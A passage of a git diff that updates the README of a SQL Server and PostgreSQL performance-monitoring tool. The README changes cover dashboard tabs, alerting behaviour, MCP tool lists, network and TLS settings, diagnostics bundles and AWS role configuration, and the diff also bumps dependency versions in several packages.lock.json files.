 | Portability | Single executable | Portable service + viewer zip (Windows), service tarball (Linux) | Server-bound |
-| MCP server (LLM integration) | Built-in (89 tools) | On request (161 tools) | Built into Dashboard (66 tools) |
+| MCP server (LLM integration) | Built-in (89 tools) | On request (181 tools) | Built into Dashboard (66 tools) |
 
 ---
 
@@ -248,10 +351,37 @@ The **Lite** app and the **Darling** viewer share the same tab layout (the viewe
 | **Blocking** | Blocking/deadlock trends, blocked process reports, deadlock history, visual block-chain & deadlock-graph viewers |
 | **Perfmon** | Selectable SQL Server performance counters over time |
 | **Configuration** | Server configuration, database configuration, scoped configuration, trace flags |
-| **FinOps** | Utilization & provisioning analysis, database resource breakdown, storage growth (7d/30d), idle database detection, index analysis via sp_IndexCleanup, per-object table/index size, growth, usage, and locking/contention analysis, application connections, server inventory, cost optimization recommendations, column-level filtering on all grids |
+| **FinOps** | Twelve sub-tabs. Utilization, Database Resources, Storage Growth, Locking & Contention, Database Sizes, and Version Store (PVS). Optimization, High Impact, Application Connections, and Server Inventory. Index Analysis (runs sp_IndexCleanup) and Recommendations. Column-level filtering on most grids |
 | **Recommendations** | Prioritized findings drawn from collected metrics, grouped into incidents, each card showing the affected database, the recommendation, the reasoning behind it, and a copyable MCP investigation prompt |
+| **Alert History** | Logged alerts with a time range, details, dismiss, and mute actions |
+| **Job History** | SQL Agent job runs retained from `msdb` |
+| **Availability Groups** | Replica and per-database health from the Availability Group collectors |
+
+Both feature auto-refresh, chart drill-down to Active Queries, right-click CSV export, system tray integration, dark and light themes with user-adjustable palette colors (see [Themes and colors](Lite/README.md#themes-and-colors)), and timezone display options (server time, local time, or UTC).
+
+Both also share one time range picker with the web pages. It has presets, calendar periods, and typed ranges such as `last 3 days` or `since 9am`. A text column's filter lists its values to tick, like Excel, and stays set across refreshes and restarts.
 
-Both feature auto-refresh, configurable time ranges, chart drill-down to Active Queries, right-click CSV export, system tray integration, dark and light themes with user-adjustable palette colors (see [Themes and colors](Lite/README.md#themes-and-colors)), and timezone display options (server time, local time, or UTC). The Darling viewer adds a fleet sidebar and per-server tabs, and it shows a PostgreSQL target on its own set of tabs. See [Darling/README.md](Darling/README.md). The deprecated Dashboard's six-tab-group layout is documented in [deprecated/Dashboard/README.md](deprecated/Dashboard/README.md).
+The Darling viewer adds a fleet sidebar and per-server tabs, and it shows a PostgreSQL target on its own set of tabs. See [Darling/README.md](Darling/README.md). The deprecated Dashboard's six-tab-group layout is documented in [deprecated/Dashboard/README.md](deprecated/Dashboard/README.md).
+
+The Darling web dashboard has these pages in its sidebar:
+
+- Fleet Overview
+- Availability Groups (shown once the store holds Availability Group data)
+- FinOps, with the same twelve sub-tabs as the table above
+- Fleet Sweeps
+- Alert History and Alert Rules
+- Admin, with the tabs Servers, Notification Routes, and Alert Settings
+- Custom Views, Mute Rules, and Manage Tags
+- Job History
+
+The page for one SQL Server has these tabs:
+
+- Overview, Wait Stats, CPU, Memory, and Blocking
+- File I/O, Queries, and Configuration
+- Config Changes, Activity, and System Events
+- Collection Health and Recommendations
+
+The page for one PostgreSQL server has these tabs: Overview, Activity, Vacuum, Waits, I/O, Replication, Storage, and Configuration.
 
 ---
 
@@ -302,6 +432,8 @@ To receive alerts in PagerDuty:
 
 PagerDuty alerts include the metric name, server, current value, threshold, and severity. Repeated alerts for the same incident automatically correlate into a single PagerDuty incident via the dedup_key, preventing alert fatigue.
 
+The setting **Auto-resolve the incident when the alert's condition clears** is off by default. When it is on, a recovery sends a resolve event, which closes the incident that the outage alert opened. A recovery is a server coming back or an Availability Group replica reconnecting. When it is off, the recovery is sent as an info-level alert and the incident stays open. Both Lite and the Darling viewer have this setting.
+
 ### Email Alerts
 
 Alert emails include:
@@ -313,10 +445,14 @@ Alert emails include:
 ### Alert Behavior
 
 - **Resolved notifications** — when a condition clears (e.g., blocking ends), a "Cleared" notification fires
+- **Lasting problems alert once** — a problem that lasts, such as an unreachable server, an Availability Group secondary that fell behind, or (Darling) Collection Stopped, sends one alert when it starts and one when it ends. It sends another only if the setting **Re-alert while a problem lasts every** (`connection_refire_minutes`) is above 0 minutes. The default is 0, which means never.
 - **Server silencing** — right-click a server to acknowledge alerts, silence all alerts, or unsilence
 - **Always-on** — the alert engine runs independently of which tab is active, including when minimized to the system tray
 - **Alert history** — Lite logs alerts to DuckDB (`config_alert_log`); Darling logs to its Postgres store; both are accessible via MCP
 - **Alert muting** — create rules to suppress specific recurring alerts while still logging them. Rules match on server name, metric type, database, query text, wait type, or job name (AND logic across fields). Access via Settings → Manage Mute Rules, or right-click an alert in the Alert History tab. The context menu offers **Mute This Alert** (pre-fills server + metric) and **Mute Similar Alerts** (pre-fills metric only, matching across all servers). Muted alerts appear grayed out and are still recorded for auditability. Rules support optional expiration (1h, 24h, 7 days, or permanent).
+- **Collection watch (Darling):** at start, the service raises a "Collection Gap At Start" warning when the newest earlier collection is 15 minutes or more older than the start.
+- **History audit (Darling):** the service runs this audit once a day, after 03:00 UTC. It compares each hour of the previous UTC day with the median of the 7 days before. It raises one "Collection Gaps In History" warning that names the hours under half of usual.
+- **Heartbeat (Darling):** an optional `heartbeat` block in `darling.json` is off by default. It sends an HTTP GET to a URL you give it, every 60 to 3600 seconds, while collection is healthy. An outside check can then alert when the service stops or stops collecting.
 - **Alert details** — right-click any alert in the Alert History tab and choose **View Details** for core fields (time, server, metric, value, threshold, notification type, status) plus context-sensitive details that vary by metric.
 - **A slow store no longer blinds a check** (#3848, Darling) — the alert pass reads its evidence out of the Postgres store under a deliberately short 10-second per-read deadline, because a long read holds a fleet-sweep permit and delays collection for every server queued behind it. On a busy store that deadline is crossed by the store's own write bands — compression, aggregate materialization, checkpoint fsync tails — and every such read used to skip its condition for one 30-second cycle. Each read is now retried **once, two seconds later**, on a command-timeout and nothing else: never on an error the store returned (which would answer the same way twice), and never during shutdown. `get_collection_health`'s `alert_read_health` block reports `retried_reads` beside `server_read_failures`, so the write bands' cost stays a visible count instead of a blind alert — retries rising while failures stay at zero is a store under write pressure whose alerting is intact; both rising means a second attempt twelve seconds later still found the band on, which points at the store's write schedule rather than the reader.
 - **Confidence chooses the channel** (#3712) — a scheduled-analysis finding earns a delivery by *corroboration*, never by severity alone: two or more facts in its story chain, a matched co-fire check on its root fact, or one of the two by-construction stories. A lone uncorroborated fact at or above the notify floor is recorded (Alert History status **Digest**, with the reason on the row and on `get_alert_history` as `routing_reason`) and shown in Recommendations with a *Not paged* marker, but it is not e-mailed, posted or toasted. It pages the moment it gains corroboration, as a new firing. Settings → Alerts → *Only notify on corroborated findings* (default on; `analysis_uncorroborated_route` in the settings file) restores delivery of every notify-worthy finding when unchecked. Darling delivers the same singles once a day as the Analysis Singles Digest.
@@ -365,7 +501,7 @@ claude mcp add --transport http --scope user sql-monitor http://localhost:5151/
 
 ### Available Tools
 
-**Lite** exposes 89 tools; **Darling** exposes 161 (the analysis + data-read surface plus its write tools) on request; the deprecated **Dashboard** exposes 66 (see [deprecated/Dashboard/README.md](deprecated/Dashboard/README.md)). Core tools are shared.
+**Lite** exposes 89 tools; **Darling** exposes 181 (the analysis + data-read surface plus its write tools) on request; the deprecated **Dashboard** exposes 66 (see [deprecated/Dashboard/README.md](deprecated/Dashboard/README.md)). Core tools are shared.
 
 | Category | Tools |
 |---|---|
@@ -374,7 +510,7 @@ claude mcp add --transport http --scope user sql-monitor http://localhost:5151/
 | Health | `get_server_summary`, `get_collection_health`, `get_daily_summary` |
 | Alerts | `get_alert_history`, `get_alert_settings`, `get_mute_rules` |
 | Waits | `get_wait_stats`, `get_wait_types`, `get_wait_trend`, `get_waiting_tasks` |
-| Queries | `get_top_queries_by_cpu`, `get_top_procedures_by_cpu`, `get_query_store_top`, `get_query_duration_trend`, `get_query_trend` |
+| Queries | `get_top_queries_by_cpu`, `get_top_procedures_by_cpu`, `get_query_store_top`, `get_query_store_query_history`, `get_query_duration_trend`, `get_query_trend` |
 | Active Queries | `get_active_queries` |
 | CPU | `get_cpu_utilization` |
 | Memory | `get_memory_stats`, `get_memory_trend`, `get_memory_clerks`, `get_memory_grants`, `get_resource_semaphore` |
@@ -394,11 +530,21 @@ claude mcp add --transport http --scope user sql-monitor http://localhost:5151/
 | Default Trace | `get_default_trace_events` |
 | Config Changes | `get_server_config_changes`, `get_database_config_changes`, `get_trace_flag_changes` |
 | Health Parser | `get_health_parser_system_health`, `get_health_parser_severe_errors`, `get_health_parser_io_issues`, `get_health_parser_scheduler_issues`, `get_health_parser_memory_conditions`, `get_health_parser_cpu_tasks`, `get_health_parser_memory_broker`, `get_health_parser_memory_node_oom` |
-| Plan Analysis | `analyze_query_plan`, `analyze_procedure_plan`, `analyze_query_store_plan`, `analyze_plan_xml`, `get_plan_xml` |
+| Plan Analysis | `analyze_query_plan`, `analyze_procedure_plan`, `analyze_query_store_plan`, `analyze_plan_xml`, `get_plan_xml`, `get_query_store_plan_xml`, `get_procedure_plan_xml`, `get_active_query_plan_xml`, `get_blocking_plan_xml`, `get_deadlock_plan_xml` |
 | Diagnostic Analysis | `analyze_server`, `get_analysis_facts`, `compare_analysis`, `audit_config`, `get_analysis_findings`, `mute_analysis_finding` |
+| FinOps (Darling) | `get_finops` (picks a view for one server), `get_finops_inventory` (the Server Inventory for the whole fleet), `get_finops_recommendations` |
+| Jobs history (Darling) | `get_job_history` (retained SQL Agent job runs for a server or the fleet) |
+| Trends and store history (Darling) | `get_server_trend` (one trend per `metric`, such as total waits, latch, spinlock, or tempdb size), `get_store_query_history` (the Darling store's own statements, hour by hour), `get_query_repro_script` |
+| Server management (Darling) | `add_servers`, `edit_server`, `remove_server`, and the server tag tools such as `create_server_tag` and `assign_server_tag` |
 
 Most tools accept optional `server_name` and `hours_back` parameters. If only one server is configured, `server_name` is auto-resolved. Every tool that takes `hours_back` also takes an optional `as_of` — an ISO-8601 UTC instant that moves the END of the window off "now", so a past incident is one call (`as_of` its end, `hours_back` its length) rather than a very wide window filtered by hand. The MCP server binds to `localhost` only and does not accept remote connections. (Darling adds windowed-trend and fleet-overview tools plus agent-driven write tools — Custom Views authoring, alert-settings and mute-rule tuning, and bulk add/remove servers — and supports an opt-in LAN endpoint — see [Darling/README.md](Darling/README.md).)
 
+### MCP network access (Darling)
+
+Darling's MCP server listens on loopback, port 5152, by default. A `network` block under `mcp` in `darling.json` exposes it to other machines. That needs a `listen` address that is not loopback, managed mode, a bearer token, and `allowFrom`, a list of allowed address ranges in CIDR form. If any of these is missing or invalid, the listener stays loopback-only and the service logs a Critical line.
+
+Without a `tls` block, the network listener is plain HTTP. A `tls` block under `mcp.network` (a PKCS#12 file, or a PEM certificate and key) makes it serve HTTPS, with TLS 1.2 or 1.3 only. If the certificate cannot be loaded, the listener stays loopback-only. The service raises a self-alert when that happens, and an "MCP TLS Certificate Expiring" alert 30 days before the certificate expires.
+
 ---
 
 ## Performance Impact
@@ -433,10 +579,14 @@ Common issues:
 1. **No data after connecting** — Wait for the first collection cycle (1–5 minutes). Check logs for connection errors.
 2. **Query Store tab empty** — Query Store must be enabled on the target database (`ALTER DATABASE [YourDB] SET QUERY_STORE = ON`).
 3. **Blocked process reports empty** — Lite attempts to auto-configure the blocked process threshold to 5 seconds via `sp_configure`. On **AWS RDS**, `sp_configure` is not available — set `blocked process threshold (s)` through an RDS Parameter Group (see [Platform Notes](#platform-notes) below). On **Azure SQL Database**, the threshold is fixed at 20 seconds and cannot be changed. If you still see no data on other platforms, verify the login has `ALTER SETTINGS` permission.
-4. **Connection failures** — Verify network connectivity, firewall rules, and that the login has the required [permissions](#permissions). For Azure SQL Database, use a contained database user with `VIEW DATABASE STATE`.
+4. **Connection failures** — Verify network connectivity, firewall rules, and that the login has the required [permissions](#permissions). For Azure SQL Database, use a contained database user with `VIEW DATABASE STATE`. Error 40615 means the server firewall did not allow the client's IP address. Add a server-level rule, or a database-level rule in master.
 5. **FinOps Index Analysis hangs, times out, or returns `Msg 229` on `sql_expression_dependencies`** — see [FinOps Index Analysis](#finops-index-analysis-per-database-grants) below for the full per-database grant set that fixes both failure modes.
 
-**Darling** troubleshooting (service logs, store connectivity, permissions) is in the [Darling operator guide](Darling/README.md). **Dashboard** (Full edition) troubleshooting is in [deprecated/Dashboard/README.md](deprecated/Dashboard/README.md).
+### Darling
+
+For a bug report, run the service with `--diagnostics-bundle <path>`. It writes one JSON file with the store's state, collection health, slow reads, statement history and the recent service log. It replaces server, host, database and login names and IP addresses with aliases and leaves credentials out. It checks the finished file for every name it knows and writes nothing if one remains.
+
+Darling troubleshooting (service logs, store connectivity, permissions) is in the [Darling operator guide](Darling/README.md). **Dashboard** (Full edition) troubleshooting is in [deprecated/Dashboard/README.md](deprecated/Dashboard/README.md).
 
 ---
 
@@ -523,7 +673,8 @@ GRANT CONNECT ANY DATABASE TO [YourLogin];
    catalog views return zero rows that look exactly like "no data" (see the AG note below). */
 GRANT VIEW ANY DEFINITION TO [YourLogin];
 
-/* The deadlock / blocked-process Extended Events sessions. */
+/* The deadlock / blocked-process Extended Events sessions, and the opt-in long-query trace session.
+   A login without this shows PERMISSIONS for the collector instead of an error. */
 GRANT ALTER ANY EVENT SESSION TO [YourLogin];
 
 /* Optional: the default-trace collector reads sys.traces, which requires ALTER TRACE -
@@ -649,6 +800,14 @@ For ongoing collection, `VIEW SERVER STATE` and msdb access work the same as on-
 
 **Azure SQL Database** — The blocked process threshold is fixed at 20 seconds and cannot be changed. The `blocked_process_report` event fires automatically when blocking exceeds this duration.
 
+### AWS RDS and Aurora for PostgreSQL (Darling)
+
+A PostgreSQL server entry in `darling.json` can set `awsRoleArn`, and `awsExternalId` when the role's trust policy asks for one. Darling then assumes that role for its AWS calls for that server. These are the host check, CPU and host memory from Performance Insights, and the log reads. A server with no role uses the AWS credentials of the Darling process. Those can come from an `AWS_PROFILE` profile that has a `role_arn`.
+
+The file seeds a new server only. To change the role of a stored server, use the web Admin page, the `edit_server` MCP tool, or the viewer. Those surfaces can set only roles that the `allowedAwsRoles` list in `darling.json` allows.
+
+Darling reads the logs and Performance Insights data of an RDS or Aurora target only after it checks the host. The host must match the endpoint that AWS reports. If the host does not match, Darling reads nothing for that server and records a PERMISSIONS outcome that names the host and the id.
+
 ---
 
 ## Folder Structure
diff --git a/deprecated/Dashboard.Tests/packages.lock.json b/deprecated/Dashboard.Tests/packages.lock.json
index 390ab418a8..899435e4a8 100644
--- a/deprecated/Dashboard.Tests/packages.lock.json
+++ b/deprecated/Dashboard.Tests/packages.lock.json
@@ -74,16 +74,16 @@
       },
       "Microsoft.Data.SqlClient.Extensions.Abstractions": {
         "type": "Transitive",
-        "resolved": "7.1.0",
-        "contentHash": "8xqe8rxLEJealAw21Rh/w+Kis4TtgAZQ+e7HrTkG/gOeiy3CbCtcMXJr3P5H9txhUQNNxkoR9qy1FIk5T85FSg==",
+        "resolved": "7.1.1",
+        "contentHash": "qP/zUOCJwfKqWNC9o+TWqltfNbLnZi1APNpJZgj0yeEJhoI+h+eoQLX+331yZHNOlDxdafZLP5arW/yrS1jAAw==",
         "dependencies": {
-          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.0, 8.0.0)"
+          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.1, 8.0.0)"
         }
       },
       "Microsoft.Data.SqlClient.Internal.Logging": {
         "type": "Transitive",
-        "resolved": "7.1.0",
-        "contentHash": "z+uzJ+/xqZlYSlv0slMhiHd3TRZr20ijZmjUG2qOaNjKzMMO5cx8itHQ0s/YguqMq/8BMlXZe5n6XSgswe+73g=="
+        "resolved": "7.1.1",
+        "contentHash": "bVqbATLnHQngue7U9K7GRnzvfdDa7IyiBU2vijfU2vBMBSZrAnQp/wXqNSfaVonckSaMXUk07wfujTqy9IVMdw=="
       },
       "Microsoft.Data.SqlClient.SNI.runtime": {
         "type": "Transitive",
@@ -723,15 +723,15 @@
       "installer.core": {
         "type": "Project",
         "dependencies": {
-          "Microsoft.Data.SqlClient": "[7.1.0, )",
-          "Microsoft.Data.SqlClient.Extensions.Azure": "[7.1.0, )"
+          "Microsoft.Data.SqlClient": "[7.1.1, )",
+          "Microsoft.Data.SqlClient.Extensions.Azure": "[7.1.1, )"
         }
       },
       "performancemonitor.alerting": {
         "type": "Project",
         "dependencies": {
-          "PerformanceMonitor.Common": "[3.8.0, )",
-          "PerformanceMonitor.Notifications": "[3.8.0, )"
+          "PerformanceMonitor.Common": "[3.9.0, )",
+          "PerformanceMonitor.Notifications": "[3.9.0, )"
         }
       },
       "performancemonitor.analysis": {
@@ -749,22 +749,22 @@
         "type": "Project",
         "dependencies": {
           "Microsoft.Extensions.Logging.Abstractions": "[10.0.12, )",
-          "PerformanceMonitor.Analysis": "[3.8.0, )"
+          "PerformanceMonitor.Analysis": "[3.9.0, )"
         }
       },
       "performancemonitor.plananalysis": {
         "type": "Project",
         "dependencies": {
-          "Microsoft.Data.SqlClient": "[7.1.0, )",
-          "PerformanceMonitor.Common": "[3.8.0, )",
+          "Microsoft.Data.SqlClient": "[7.1.1, )",
+          "PerformanceMonitor.Common": "[3.9.0, )",
           "System.Security.Cryptography.ProtectedData": "[10.0.11, )"
         }
       },
       "performancemonitor.ui": {
         "type": "Project",
         "dependencies": {
-          "PerformanceMonitor.Common": "[3.8.0, )",
-          "PerformanceMonitor.PlanAnalysis": "[3.8.0, )",
+          "PerformanceMonitor.Common": "[3.9.0, )",
+          "PerformanceMonitor.PlanAnalysis": "[3.9.0, )",
           "ScottPlot.WPF": "[5.1.59, )"
         }
       },
@@ -773,22 +773,22 @@
         "dependencies": {
           "CredentialManagement": "[1.0.2, )",
           "Hardcodet.NotifyIcon.Wpf": "[2.0.1, )",
-          "Installer.Core": "[3.8.0, )",
-          "Microsoft.Data.SqlClient": "[7.1.0, )",
-          "Microsoft.Data.SqlClient.Extensions.Azure": "[7.1.0, )",
+          "Installer.Core": "[3.9.0, )",
+          "Microsoft.Data.SqlClient": "[7.1.1, )",
+          "Microsoft.Data.SqlClient.Extensions.Azure": "[7.1.1, )",
           "Microsoft.Extensions.Configuration": "[10.0.12, )",
           "Microsoft.Extensions.Configuration.Json": "[10.0.12, )",
           "Microsoft.Extensions.Hosting": "[10.0.12, )",
           "ModelContextProtocol": "[2.2.0, )",
           "ModelContextProtocol.AspNetCore": "[2.2.0, )",
-          "PerformanceMonitor.Alerting": "[3.8.0, )",
-          "PerformanceMonitor.Analysis": "[3.8.0, )",
-          "PerformanceMonitor.Common": "[3.8.0, )",
-          "PerformanceMonitor.Notifications": "[3.8.0, )",
-          "PerformanceMonitor.PlanAnalysis": "[3.8.0, )",
-          "PerformanceMonitor.Ui": "[3.8.0, )",
+          "PerformanceMonitor.Alerting": "[3.9.0, )",
+          "PerformanceMonitor.Analysis": "[3.9.0, )",
+          "PerformanceMonitor.Common": "[3.9.0, )",
+          "PerformanceMonitor.Notifications": "[3.9.0, )",
+          "PerformanceMonitor.PlanAnalysis": "[3.9.0, )",
+          "PerformanceMonitor.Ui": "[3.9.0, )",
           "ScottPlot.WPF": "[5.1.59, )",
-          "Velopack": "[1.2.158, )"
+          "Velopack": "[1.2.161, )"
         }
       },
       "CredentialManagement": {
@@ -805,13 +805,13 @@
       },
       "Microsoft.Data.SqlClient": {
         "type": "CentralTransitive",
-        "requested": "[7.1.0, )",
-        "resolved": "7.1.0",
-        "contentHash": "yKPkjufNvrX5VDv49XHaGbUNPL4kDx9ALCrqDhYu+ThFQxjM8zGMzYxPv9iiwRU0ZL3vhgq0F2KEeoV3PT2utQ==",
+        "requested": "[7.1.1, )",
+        "resolved": "7.1.1",
+        "contentHash": "Moz4+bba/OdEM9I4jXWggduJ4sqoNcgVAQyXG/dNnGGvnS/YDr2fTjP83fg5YX3drgRki6fRAhR94P8dAZgZtQ==",
         "dependencies": {
           "Microsoft.Bcl.Cryptography": "9.0.18",
-          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.0, 8.0.0)",
-          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.0, 8.0.0)",
+          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.1, 8.0.0)",
+          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.1, 8.0.0)",
           "Microsoft.Data.SqlClient.SNI.runtime": "[7.1.0, 8.0.0)",
           "Microsoft.Extensions.Caching.Memory": "9.0.18",
           "Microsoft.IdentityModel.JsonWebTokens": "8.16.0",
@@ -822,14 +822,14 @@
       },
       "Microsoft.Data.SqlClient.Extensions.Azure": {
         "type": "CentralTransitive",
-        "requested": "[7.1.0, )",
-        "resolved": "7.1.0",
-        "contentHash": "ZMfBGoTa2D1VugOSh8y6Klv9mh8hefgjygAFiSHAl/1dw+EehRrBl6YFbB8IX27XUHj1tQ0I+bdGMZ5DtwMOlw==",
+        "requested": "[7.1.1, )",
+        "resolved": "7.1.1",
+        "contentHash": "3/Z+6JJKGUw8+shNtftUSGOagt7XCbuhXknZjzXQfDr5aA4lUEMtU/MMNSiwMIrkviYslNKvFh1yWOArudDxQA==",
         "dependencies": {
           "Azure.Core": "1.51.1",
           "Azure.Identity": "1.18.0",
-          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.0, 8.0.0)",
-          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.0, 8.0.0)",
+          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.1, 8.0.0)",
+          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.1, 8.0.0)",
           "Microsoft.Extensions.Caching.Memory": "8.0.1",
           "Microsoft.Identity.Client": "4.84.2",
           "Microsoft.Identity.Client.Broker": "4.84.2"
@@ -947,9 +947,9 @@
       },
       "Velopack": {
         "type": "CentralTransitive",
-        "requested": "[1.2.158, )",
-        "resolved": "1.2.158",
-        "contentHash": "wQN38beVrAf0WzFMnZtl7UmwxqwaJ7xVYypqITdOI4YUTYch2UvE+xAjg9msfaitVDtgfWeIcGsjRNQ65C03ZQ=="
+        "requested": "[1.2.161, )",
+        "resolved": "1.2.161",
+        "contentHash": "OpHNacIumnkhaaX3ZlQ/TCR4YPOJvud2/PAOoWb6o+mIrLwIVA275I5wAgt4q/1O2VrJeDwR1qFQyqzG4lUArg=="
       }
     }
   }
diff --git a/deprecated/Dashboard/packages.lock.json b/deprecated/Dashboard/packages.lock.json
index 84b2704054..7e7eb019e2 100644
--- a/deprecated/Dashboard/packages.lock.json
+++ b/deprecated/Dashboard/packages.lock.json
@@ -16,13 +16,13 @@
       },
       "Microsoft.Data.SqlClient": {
         "type": "Direct",
-        "requested": "[7.1.0, )",
-        "resolved": "7.1.0",
-        "contentHash": "yKPkjufNvrX5VDv49XHaGbUNPL4kDx9ALCrqDhYu+ThFQxjM8zGMzYxPv9iiwRU0ZL3vhgq0F2KEeoV3PT2utQ==",
+        "requested": "[7.1.1, )",
+        "resolved": "7.1.1",
+        "contentHash": "Moz4+bba/OdEM9I4jXWggduJ4sqoNcgVAQyXG/dNnGGvnS/YDr2fTjP83fg5YX3drgRki6fRAhR94P8dAZgZtQ==",
         "dependencies": {
           "Microsoft.Bcl.Cryptography": "9.0.18",
-          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.0, 8.0.0)",
-          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.0, 8.0.0)",
+          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.1, 8.0.0)",
+          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.1, 8.0.0)",
           "Microsoft.Data.SqlClient.SNI.runtime": "[7.1.0, 8.0.0)",
           "Microsoft.Extensions.Caching.Memory": "9.0.18",
           "Microsoft.IdentityModel.JsonWebTokens": "8.16.0",
@@ -33,14 +33,14 @@
       },
       "Microsoft.Data.SqlClient.Extensions.Azure": {
         "type": "Direct",
-        "requested": "[7.1.0, )",
-        "resolved": "7.1.0",
-        "contentHash": "ZMfBGoTa2D1VugOSh8y6Klv9mh8hefgjygAFiSHAl/1dw+EehRrBl6YFbB8IX27XUHj1tQ0I+bdGMZ5DtwMOlw==",
+        "requested": "[7.1.1, )",
+        "resolved": "7.1.1",
+        "contentHash": "3/Z+6JJKGUw8+shNtftUSGOagt7XCbuhXknZjzXQfDr5aA4lUEMtU/MMNSiwMIrkviYslNKvFh1yWOArudDxQA==",
         "dependencies": {
           "Azure.Core": "1.51.1",
           "Azure.Identity": "1.18.0",
-          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.0, 8.0.0)",
-          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.0, 8.0.0)",
+          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.1, 8.0.0)",
+          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.1, 8.0.0)",
           "Microsoft.Extensions.Caching.Memory": "8.0.1",
           "Microsoft.Identity.Client": "4.84.2",
           "Microsoft.Identity.Client.Broker": "4.84.2"
@@ -132,9 +132,9 @@
       },
       "Velopack": {
         "type": "Direct",
-        "requested": "[1.2.158, )",
-        "resolved": "1.2.158",
-        "contentHash": "wQN38beVrAf0WzFMnZtl7UmwxqwaJ7xVYypqITdOI4YUTYch2UvE+xAjg9msfaitVDtgfWeIcGsjRNQ65C03ZQ=="
+        "requested": "[1.2.161, )",
+        "resolved": "1.2.161",
+        "contentHash": "OpHNacIumnkhaaX3ZlQ/TCR4YPOJvud2/PAOoWb6o+mIrLwIVA275I5wAgt4q/1O2VrJeDwR1qFQyqzG4lUArg=="
       },
       "Azure.Core": {
         "type": "Transitive",
@@ -194,16 +194,16 @@
       },
       "Microsoft.Data.SqlClient.Extensions.Abstractions": {
         "type": "Transitive",
-        "resolved": "7.1.0",
-        "contentHash": "8xqe8rxLEJealAw21Rh/w+Kis4TtgAZQ+e7HrTkG/gOeiy3CbCtcMXJr3P5H9txhUQNNxkoR9qy1FIk5T85FSg==",
+        "resolved": "7.1.1",
+        "contentHash": "qP/zUOCJwfKqWNC9o+TWqltfNbLnZi1APNpJZgj0yeEJhoI+h+eoQLX+331yZHNOlDxdafZLP5arW/yrS1jAAw==",
         "dependencies": {
-          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.0, 8.0.0)"
+          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.1, 8.0.0)"
         }
       },
       "Microsoft.Data.SqlClient.Internal.Logging": {
         "type": "Transitive",
-        "resolved": "7.1.0",
-        "contentHash": "z+uzJ+/xqZlYSlv0slMhiHd3TRZr20ijZmjUG2qOaNjKzMMO5cx8itHQ0s/YguqMq/8BMlXZe5n6XSgswe+73g=="
+        "resolved": "7.1.1",
+        "contentHash": "bVqbATLnHQngue7U9K7GRnzvfdDa7IyiBU2vijfU2vBMBSZrAnQp/wXqNSfaVonckSaMXUk07wfujTqy9IVMdw=="
       },
       "Microsoft.Data.SqlClient.SNI.runtime": {
         "type": "Transitive",
@@ -735,15 +735,15 @@
       "installer.core": {
         "type": "Project",
         "dependencies": {
-          "Microsoft.Data.SqlClient": "[7.1.0, )",
-          "Microsoft.Data.SqlClient.Extensions.Azure": "[7.1.0, )"
+          "Microsoft.Data.SqlClient": "[7.1.1, )",
+          "Microsoft.Data.SqlClient.Extensions.Azure": "[7.1.1, )"
         }
       },
       "performancemonitor.alerting": {
         "type": "Project",
         "dependencies": {
-          "PerformanceMonitor.Common": "[3.8.0, )",
-          "PerformanceMonitor.Notifications": "[3.8.0, )"
+          "PerformanceMonitor.Common": "[3.9.0, )",
+          "PerformanceMonitor.Notifications": "[3.9.0, )"
         }
       },
       "performancemonitor.analysis": {
@@ -761,22 +761,22 @@
         "type": "Project",
         "dependencies": {
           "Microsoft.Extensions.Logging.Abstractions": "[10.0.12, )",
-          "PerformanceMonitor.Analysis": "[3.8.0, )"
+          "PerformanceMonitor.Analysis": "[3.9.0, )"
         }
       },
       "performancemonitor.plananalysis": {
         "type": "Project",
         "dependencies": {
-          "Microsoft.Data.SqlClient": "[7.1.0, )",
-          "PerformanceMonitor.Common": "[3.8.0, )",
+          "Microsoft.Data.SqlClient": "[7.1.1, )",
+          "PerformanceMonitor.Common": "[3.9.0, )",
           "System.Security.Cryptography.ProtectedData": "[10.0.11, )"
         }
       },
       "performancemonitor.ui": {
         "type": "Project",
         "dependencies": {
-          "PerformanceMonitor.Common": "[3.8.0, )",
-          "PerformanceMonitor.PlanAnalysis": "[3.8.0, )",
+          "PerformanceMonitor.Common": "[3.9.0, )",
+          "PerformanceMonitor.PlanAnalysis": "[3.9.0, )",
           "ScottPlot.WPF": "[5.1.59, )"
         }
       },
diff --git a/deprecated/Installer.Core/packages.lock.json b/deprecated/Installer.Core/packages.lock.json
index 30b856c66b..17b4a4e816 100644
--- a/deprecated/Installer.Core/packages.lock.json
+++ b/deprecated/Installer.Core/packages.lock.json
@@ -4,13 +4,13 @@
     "net10.0": {
       "Microsoft.Data.SqlClient": {
         "type": "Direct",
-        "requested": "[7.1.0, )",
-        "resolved": "7.1.0",
-        "contentHash": "yKPkjufNvrX5VDv49XHaGbUNPL4kDx9ALCrqDhYu+ThFQxjM8zGMzYxPv9iiwRU0ZL3vhgq0F2KEeoV3PT2utQ==",
+        "requested": "[7.1.1, )",
+        "resolved": "7.1.1",
+        "contentHash": "Moz4+bba/OdEM9I4jXWggduJ4sqoNcgVAQyXG/dNnGGvnS/YDr2fTjP83fg5YX3drgRki6fRAhR94P8dAZgZtQ==",
         "dependencies": {
           "Microsoft.Bcl.Cryptography": "9.0.18",
-          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.0, 8.0.0)",
-          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.0, 8.0.0)",
+          "Microsoft.Data.SqlClient.Extensions.Abstractions": "[7.1.1, 8.0.0)",
+          "Microsoft.Data.SqlClient.Internal.Logging": "[7.1.1, 8.0.0)",
